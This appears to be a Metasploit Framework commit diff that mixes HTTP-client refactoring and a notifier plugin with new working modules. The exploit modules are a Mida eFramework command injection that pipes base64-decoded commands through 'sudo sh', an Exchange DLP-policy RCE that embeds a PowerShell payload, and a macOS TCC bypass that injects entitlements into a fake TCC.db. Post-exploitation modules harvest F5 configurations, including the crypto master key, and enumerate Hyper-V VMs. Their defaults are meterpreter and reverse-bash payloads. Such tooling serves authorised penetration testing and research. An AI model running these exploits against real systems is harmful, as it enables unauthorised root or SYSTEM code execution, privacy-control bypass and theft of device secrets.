rescue ::Errno::EPIPE, ::Timeout::Error => e
print_line(e.message) if datastore['HttpTrace']
nil
rescue Rex::ConnectionError => e
vprint_error(e.to_s)
nil
rescue ::Exception => e
print_line(e.message) if datastore['HttpTrace']
raise e
end
# Connects to the server, creates a request, sends the request,
# reads the response
#
# Passes `opts` through directly to {Rex::Proto::Http::Client#request_cgi}.
# Set `opts['keep_cookies']` to keep cookies from responses for reuse in requests.
#
# @return (see Rex::Proto::Http::Client#send_recv))
def send_request_cgi(opts={}, timeout = 20, disconnect = true)
send_request_raw(opts.merge(cgi: true), timeout, disconnect)
def send_request_cgi(opts = {}, timeout = 20, disconnect = true)
if cookie_jar.any?
opts = { 'cookie' => cookie_jar.to_a.join(' ') }.merge(opts)
end
res = send_request_raw(opts.merge(cgi: true), timeout, disconnect)
return unless res
if opts['keep_cookies'] && res.headers['Set-Cookie'].present?
# XXX: CGI::Cookie (get_cookies_parsed) is hella broken
cookie_jar.merge(res.get_cookies.split(' '))
end
res
end
# Connects to the server, creates a request, sends the request, reads the
@@ -387,30 +402,31 @@ module Exploit::Remote::HttpClient
# `opts['redirect_uri']` will contain the full URI.
#
# @return (see #send_request_cgi)
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end
def send_request_cgi!(opts = {}, timeout = 20, redirect_depth = 1)
res = send_request_cgi(opts, timeout)
res = send_request_cgi(opts, actual_timeout)
return res unless res && res.redirect? && redirect_depth > 0
return unless res
return res unless res.redirect? && res.redirection && redirect_depth > 0
redirect_depth -= 1
return res if res.redirection.nil?
reconfig_redirect_opts!(res, opts)
send_request_cgi!(opts, actual_timeout, redirect_depth)
send_request_cgi!(opts, timeout, redirect_depth)
end
# Modifies the HTTP request options for a redirection.
#
# @param res [Rex::Proto::HTTP::Response] HTTP Response.
# @param opts [Hash] The HTTP request options to modify.
# @return [void]
def reconfig_redirect_opts!(res, opts)
# XXX: https://github.com/rapid7/metasploit-framework/issues/12281
if opts['method'] == 'POST'
opts['method'] = 'GET'
opts['data'] = nil
opts['vars_post'] = {}
end
location = res.redirection
if location.relative?
@@ -425,7 +441,7 @@ module Exploit::Remote::HttpClient
opts['redirect_uri'] = new_redirect_uri
opts['uri'] = new_redirect_uri
end
opts['rhost'] = datastore['RHOST']
opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost()
opts['rport'] = datastore['RPORT']
@@ -446,6 +462,9 @@ module Exploit::Remote::HttpClient
opts['SSL'] = false
end
end
# Don't forget any GET parameters
opts['query'] ||= location.query if location.query
end
#
@@ -670,7 +689,10 @@ module Exploit::Remote::HttpClient
wspace = datastore['WORKSPACE'] ?
framework.db.find_workspace(datastore['WORKSPACE']) : framework.db.workspace
service = framework.db.get_service(wspace, rhost, 'tcp', rport)
# only one result can be returned, as the +port+ field restricts potential results to a single service
service = framework.db.services(:workspace => wspace,
:hosts => {address: rhost},
:port => rport).first
return fprints unless service
# Order by note_id descending so the first value is the most recent
@@ -867,10 +889,10 @@ module Exploit::Remote::HttpClient
}
end
protected
protected
attr_accessor :client
attr_accessor :cookie_jar
end
end
+1 -20
View File
@@ -47,9 +47,6 @@ class PayloadSet < ModuleSet
self.stages = {}
self.singles = {}
# Hash that caches the sizes of payloads
self.sizes = {}
# Single instance cache of modules for use with doing quick referencing
# of attributes that would require an instance.
self._instances = {}
@@ -94,15 +91,6 @@ class PayloadSet < ModuleSet
# Add it to the set
add_single(p, name, op[5])
new_keys.push name
# Cache the payload's size
begin
sizes[name] = p.cached_size || p.new.size
# Don't cache generic payload sizes.
rescue NoCompatiblePayloadError
rescue StandardError => e
elog("Unable to build payload #{name} due to #{e}.")
end
}
# Recalculate staged payloads
@@ -181,9 +169,6 @@ class PayloadSet < ModuleSet
'paths' => op[5]['paths'] + ip[5]['paths'],
'type' => op[5]['type']})
new_keys.push combined
# Cache the payload's size
sizes[combined] = p.cached_size || p.new.size
}
}
@@ -404,10 +389,6 @@ class PayloadSet < ModuleSet
# The list of singles that have been loaded.
#
attr_reader :singles
#
# The sizes of all the built payloads thus far.
#
attr_reader :sizes
protected
@@ -450,7 +431,7 @@ protected
end
attr_accessor :payload_type_modules # :nodoc:
attr_writer :stages, :singles, :sizes # :nodoc:
attr_writer :stages, :singles # :nodoc:
attr_accessor :_instances # :nodoc:
end
+1 -1
View File
@@ -129,7 +129,7 @@ class RPC_Session < RPC_Base
# @param [Integer] sid Session ID.
# @param [String] lhost Local host.
# @param [Integer] lport Local port.
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
@@ -10,7 +10,6 @@ module ServiceServlet
def self.registered(app)
app.get ServiceServlet.api_path, &get_services
app.get ServiceServlet.api_path_with_id, &get_services
app.post ServiceServlet.api_path, &report_service
app.put ServiceServlet.api_path_with_id, &update_service
app.delete ServiceServlet.api_path, &delete_service
+1 -1
View File
@@ -18,7 +18,7 @@ module DBManager
Arel::Nodes::Regexp.new(Arel::Nodes::NamedFunction.new("CAST", [model.arel_table[column.name].as("TEXT")]),
Arel::Nodes.build_quoted(search))
}
condition_set.reduce { |conditions, condition| conditions.or(condition).expr }
Arel::Nodes::Grouping.new(condition_set.reduce { |conditions, condition| conditions.or(condition).expr })
end
# Processes the workspace value in the opts hash from a request. This method throws an exception if
+4 -1
View File
@@ -287,7 +287,10 @@ module Rex
end
def check_for_existing_service(address,port)
db.get_service(@args[:workspace],address,"tcp",port)
# only one result can be returned, as the +port+ field restricts potential results to a single service
db.services(:workspace => @args[:workspace],
:hosts => {address: address},
:port => port).first
end
def resolve_port(uri)
+12 -14
View File
@@ -123,38 +123,36 @@ class Client
# @option opts 'vhost' [String] Host header value
#
# @return [ClientRequest]
def request_raw(opts={})
def request_raw(opts = {})
opts = self.config.merge(opts)
opts['ssl'] = self.ssl
opts['cgi'] = false
opts['port'] = self.port
opts['cgi'] = false
opts['port'] = self.port
opts['ssl'] = self.ssl
req = ClientRequest.new(opts)
ClientRequest.new(opts)
end
#
# Create a CGI compatible request
#
# @param (see #request_raw)
# @option opts (see #request_raw)
# @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
# @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
#
# @return [ClientRequest]
def request_cgi(opts={})
def request_cgi(opts = {})
opts = self.config.merge(opts)
opts['ctype'] ||= 'application/x-www-form-urlencoded'
opts['ssl'] = self.ssl
opts['cgi'] = true
opts['port'] = self.port
opts['cgi'] = true
opts['port'] = self.port
opts['ssl'] = self.ssl
opts['ctype'] ||= 'application/x-www-form-urlencoded' if opts['method'] == 'POST'
req = ClientRequest.new(opts)
req
ClientRequest.new(opts)
end
#
+3 -5
View File
@@ -219,11 +219,9 @@ class Response < Packet
# @return [URI] the uri of the redirection location.
# @return [nil] if the response hasn't a Location header or it isn't a valid uri.
def redirection
begin
URI(headers['Location'])
rescue ::URI::InvalidURIError
nil
end
URI(headers['Location'])
rescue ArgumentError, ::URI::InvalidURIError
nil
end
#
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
This module imports a Brocade device configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die']
'Author' => ['h00die']
)
)
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
This module imports a Cisco IOS or NXOS device configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die']
'Author' => ['h00die']
)
)
@@ -0,0 +1,43 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/f5'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::F5
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Configuration Importer',
'Description' => %q{
This module imports an F5 device configuration.
},
'License' => MSF_LICENSE,
'Author' => ['h00die'],
)
)
register_options(
[
OptPath.new('CONFIG', [true, 'Path to configuration to import']),
Opt::RHOST(),
Opt::RPORT(22)
]
)
end
def run
unless ::File.exist?(datastore['CONFIG'])
fail_with Failure::BadConfig, "F5 config file #{datastore['CONFIG']} does not exist!"
end
f5_config = ::File.open(datastore['CONFIG'], 'rb')
print_status('Importing config')
f5_config_eater(datastore['RHOSTS'], datastore['RPORT'], f5_config.read)
print_good('Config import successful')
end
end
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
This module imports a Juniper ScreenOS or JunOS device configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die'],
'Author' => ['h00die'],
'Actions' =>
[
['JUNOS', 'Description' => 'Import JunOS Config File'],
@@ -0,0 +1,134 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mida Solutions eFramework ajaxreq.php Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Mida
Solutions eFramework version 2.9.0 and prior.
The `ajaxreq.php` file allows unauthenticated users to inject
arbitrary commands in the `PARAM` parameter to be executed as
the apache user. The sudo configuration permits the apache user
to execute any command as root without providing a password,
resulting in privileged command execution as root.
This module has been successfully tested on Mida Solutions
eFramework-C7-2.9.0 virtual appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'elbae', # discovery and exploit
'bcoles', # Metasploit
],
'References' =>
[
['CVE', '2020-15920'],
['EDB', '48768'],
['URL', 'https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html'],
],
'Payload' => { 'BadChars' => "\x00" },
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'UNIX (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-07-24',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 1,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to eFramework', '/'])
])
end
def check
res = execute_command('id')
unless res
return CheckCode::Safe('Connection failed')
end
unless res.body.include?('uid=')
return CheckCode::Safe('Target is not vulnerable')
end
CheckCode::Vulnerable
end
def execute_command(cmd, _opts = {})
vars_post = {
'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample,
'PARAM' => ";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'),
'vars_post' => vars_post
}, 5)
if res && !res.body.blank?
vprint_status("Command output: #{res.body.gsub(/<br>/, "\n")}")
end
res
end
def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1_500, background: true)
end
end
end
@@ -0,0 +1,251 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.
If the user is in the "Compliance Management" or greater "Organization
Management" role groups, then they have the "Data Loss Prevention"
role. Since the user who installed Exchange is in the "Organization
Management" role group, they transitively have the "Data Loss
Prevention" role.
The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_CHANGES, # Creates a new DLP policy
ARTIFACTS_ON_DISK # Uses a DLP policy template file
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])
end
def post_auth?
true
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end
def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end
def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end
print_status("Logging in to OWA with creds #{username}:#{password}")
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,
'flags' => '',
'destination' => full_uri('/owa/', vhost_uri: true)
},
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
unless res
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
end
unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
if res.body.include?('There are too many active sessions connected to this mailbox.')
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
end
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
end
if res.body.include?('Choose your preferred display language and home time zone below.')
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
end
print_good('Successfully logged in to OWA')
end
def retrieve_viewstate
print_status('Retrieving ViewState from DLP policy creation page')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)
unless res
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
end
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
end
print_good('Successfully retrieved ViewState')
viewstate
end
def create_dlp_policy(viewstate)
print_status('Creating custom DLP policy from malicious template')
vprint_status("DLP policy name: #{dlp_policy_name}")
form_data = Rex::MIME::Message.new
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_data.add_part(
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.add_part(
dlp_policy_name,
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nil,
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
end
def dlp_policy_template
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Metasploit</publisherName>
<name>
<localizedString lang="en">#{dlp_policy_name}</localizedString>
</name>
<description>
<localizedString lang="en">wvu was here</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
XML
end
def dlp_policy_name
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end
def dlp_policy_filename
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end
end
+199
View File
@@ -0,0 +1,199 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/f5'
class MetasploitModule < Msf::Post
include Msf::Auxiliary::F5
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Gather Device General Information',
'Description' => %q{
This module collects a F5's device information and configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die'],
'SessionTypes' => [ 'shell' ]
)
)
end
def run
# Get device prompt
prompt = session.shell_command('?')
started_tmos = false
unless prompt.include? 'Commands:'
started_tmos = true
print_status('Moving to TMOS prompt')
session.shell_command('tmsh')
end
prompt = session.shell_command('')
# Get version info
system_out = session.shell_command('show /sys version')
# https://support.f5.com/csp/article/K8759
ver_loc = store_loot('f5.version',
'text/plain',
session,
system_out.strip,
'config.txt',
'F5 Version')
vprint_good("Config information stored in to loot #{ver_loc}")
if /^Main Package(?<content>.+)\n\n/m =~ system_out # just capture the content to parse
ver = []
if /^\s+Product\s+(?<product>[\w-]+)$/ =~ content
ver << product
end
if /^\s+Version\s+(?<version>[\d\.]+)$/ =~ content
ver << version
end
if /^\s+Build\s+(?<build>[\d\.]+)$/ =~ content
ver << build
end
print_good("Version: #{ver.join(' ')}") unless ver.empty?
else
print_bad('Unable to obtain system version information')
end
# run additional information gathering
enum_tmos_configs(prompt)
if started_tmos
session.shell_command('quit') # exit tmos
else
session.shell_command('bash') # go to bash from tmos
end
enum_configs(prompt)
end
def enum_tmos_configs(prompt)
host = session.session_host
port = session.session_port
exec_commands = [
{
'cmd' => 'show sys',
'fn' => 'show_sys',
'desc' => 'Get Device System Information on F5 Device'
},
{
'cmd' => 'show auth',
'fn' => 'show_auth',
'desc' => 'Get User Account and Authentication Information on F5 Device'
},
{
'cmd' => 'show cm',
'fn' => 'show_cm',
'desc' => 'Get Configuration Management Information on F5 Device'
},
{
'cmd' => 'show net',
'fn' => 'show_net',
'desc' => 'Get Network Information on F5 Device'
},
{
'cmd' => 'show running-config',
'fn' => 'show_running_config',
'desc' => 'Get Running Config on F5 Device'
},
{
'cmd' => 'show sys crypto master-key',
'fn' => 'show_crypto_key',
'desc' => 'Get Crypto Master Key on F5 Device'
},
]
exec_commands.each do |ec|
command = ec['cmd']
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
if cmd_out.include?('Display all')
cmd_out += session.shell_command('y')
end
if cmd_out.include?('---(less')
cmd_out += session.shell_command(" \n" * 20) # 20 pages should be enough
end
# loop to ensure we get all content within the 5 sec window
loop do
break unless out_tmp = session.shell_read
cmd_out << out_tmp
end
print_status("Gathering info from #{command}")
cmd_loc = store_loot("F5.#{ec['fn']}",
'text/plain',
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
f5_config_eater(host, port, cmd_out.strip, store=false)
end
end
def enum_configs(prompt)
host = session.session_host
port = session.session_port
# https://support.f5.com/csp/article/K26582310
exec_commands = [
{
# High-level traffic management and system configuration, such as virtual servers,
# profiles, access policies, iRules, and authentication settings
'cmd' => 'cat /config/bigip.conf',
'fn' => 'bigip.conf',
'desc' => 'Get Config on F5 Device'
},
{
# Base-level network and system configuration, such as VLANs, self IPs,
# device service clustering (DSC), and provisioning
'cmd' => 'cat /config/bigip_base.conf',
'fn' => 'bigip_base.conf',
'desc' => 'Get Base Config on F5 Device'
},
{
# BIG-IP GTM/DNS-specific configuration such as Wide IPs, pools, data centers,
# and servers
'cmd' => 'cat /config/bigip_gtm.conf',
'fn' => 'bigip_gtm.conf',
'desc' => 'Get GTM Config on F5 Device'
},
{
# Custom iApps templates
'cmd' => 'cat /config/bigip_script.conf',
'fn' => 'bigip_script.conf',
'desc' => 'Get iApps templates on F5 Device'
},
{
# User account configuration
'cmd' => 'cat /config/bigip_user.conf',
'fn' => 'bigip_user.conf',
'desc' => 'Get User Config on F5 Device'
},
{
# Custom BIG-IP system alerts
'cmd' => 'cat /config/user_alert.conf',
'fn' => 'user_alert.conf',
'desc' => 'Get System Alerts on F5 Device'
},
]
exec_commands.each do |ec|
command = ec['cmd']
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
print_status("Gathering info from #{command}")
if cmd_out.include?('No such file or directory') || cmd_out.strip == ''
print_error('File not found or empty')
next
end
cmd_loc = store_loot("F5.#{ec['fn']}",
'text/plain',
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
f5_config_eater(host, port, cmd_out.strip, store=false)
end
end
end
+107
View File
@@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bypass the macOS TCC Framework',
'Description' => %q{
This module exploits a vulnerability in the TCC daemon on macOS Catalina
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
manipulated (by setting the HOME environment variable) to use a new user
controlled location as the TCC database. We can then grant ourselves
entitlements by inserting them into this new database.
},
'License' => MSF_LICENSE,
'Author' => [
'mattshockl', # discovery
'timwr', # metasploit module
],
'References' => [
['CVE', '2020-9934'],
['URL', 'https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8'],
['URL', 'https://github.com/mattshockl/CVE-2020-9934'],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
)
)
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
end
def check
system_version = get_system_version
unless system_version
return Exploit::CheckCode::Unknown
end
version = Gem::Version.new(system_version)
if version >= Gem::Version.new('10.15.6')
return Exploit::CheckCode::Safe
elsif version < Gem::Version.new('10.15.0')
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Appears
end
end
def run
if check != Exploit::CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}"
tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC"
tccdb = "#{tccdir}/TCC.db"
print_status("Creating TCC directory #{tccdir}")
cmd_exec("mkdir -p '#{tccdir}'")
cmd_exec("launchctl setenv HOME '#{tmpdir}'")
cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
unless file_exist?(tccdb)
print_error("No fake TCC DB found: #{tccdb}")
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
print_good("fake TCC DB found: #{tccdb}")
tcc_services = [
'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService',
'kTCCServiceSystemPolicyDeveloperFiles', 'kTCCServiceSystemPolicyDesktopFolder', 'kTCCServiceSystemPolicyAllFiles', 'kTCCServiceSystemPolicyNetworkVolumes',
'kTCCServiceSystemPolicySysAdminFiles', 'kTCCServiceSystemPolicyDownloadsFolder'
]
bundle = 'com.apple.Terminal'
csreq = 'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003'
isfile = '0'
timestamp = 1.year.from_now.to_i.to_s
for service in tcc_services
sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});"
sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"")
if sqloutput && !sqloutput.empty?
print_error("Output: #{sqloutput.length}")
end
end
print_good('TCC.db was successfully updated!')
cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd'
cleanup_command << "\nrm -rf '#{tmpdir}'"
print_status("To cleanup, run:\n#{cleanup_command}\n")
end
end
@@ -0,0 +1,50 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Hyper-V VM Enumeration',
'Description' => %q{
This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all
of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' =>
[
'gwillcox-r7' # Metasploit post module
]
)
)
end
def run
unless have_powershell?
fail_with(Failure::NoAccess, "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs")
end
results = psh_exec('Get-VM')
if results =~ /is not recognized as the name of a cmdlet/
print_error('The target is not a Hyper-V host')
elsif results =~ /do not have the required permission/
print_error('You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module')
return
end
vprint_status(results)
filtered_result = results.match(/^Name(?:.+\r\n){1,2000}/) # If your running more than 2000 VMs on a single host, you have my sincerest sympathy.
if filtered_result.nil?
print_error("Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?")
return
end
print_status(filtered_result.to_s)
loot_location = store_loot('host.hyperv_vms', 'text/plain', session, filtered_result.to_s, "#{session.session_host}.hyperv_vm_information.txt", "#{session.session_host} Hyper-V VM Information")
print_good("Stored loot at #{loot_location}")
end
end
+102 -62
View File
@@ -1,9 +1,12 @@
require 'net/https'
require 'net/http'
require 'uri'
module Msf
class Plugin::SessionNotifier < Msf::Plugin
include Msf::SessionEvent
class Exception < ::RuntimeError ; end
class Exception < ::RuntimeError; end
class SessionNotifierCommandDispatcher
@@ -19,6 +22,7 @@ module Msf
attr_reader :smtp_from
attr_reader :minimum_ip
attr_reader :maximum_ip
attr_reader :dingtalk_webhook
def name
'SessionNotifier'
@@ -35,6 +39,7 @@ module Msf
'set_session_mobile_carrier' => 'Set the mobile carrier of the phone',
'set_session_minimum_ip' => 'Set the minimum session IP range you want to be notified for',
'set_session_maximum_ip' => 'Set the maximum session IP range you want to be notified for',
'set_session_dingtalk_webhook' => 'Set the DingTalk webhook for the session notifier (keyword: session).',
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
'start_session_notifier' => 'Start notifying sessions',
'stop_session_notifier' => 'Stop notifying sessions',
@@ -107,38 +112,52 @@ module Msf
end
end
def cmd_save_session_notifier_settings(*args)
save_settings_to_config
print_status("Session Notifier settings saved in config file.")
def cmd_set_session_dingtalk_webhook(*args)
webhook_url = args[0]
if webhook_url.blank?
@dingtalk_webhook = nil
elsif !(webhook_url =~ URI::DEFAULT_PARSER.make_regexp).nil?
@dingtalk_webhook = webhook_url
else
print_error('Invalid webhook_url')
end
end
def cmd_start_session_notifier(*args)
if is_session_notifier_subscribed?
def cmd_save_session_notifier_settings(*_args)
save_settings_to_config
print_status('Session Notifier settings saved in config file.')
end
def cmd_start_session_notifier(*_args)
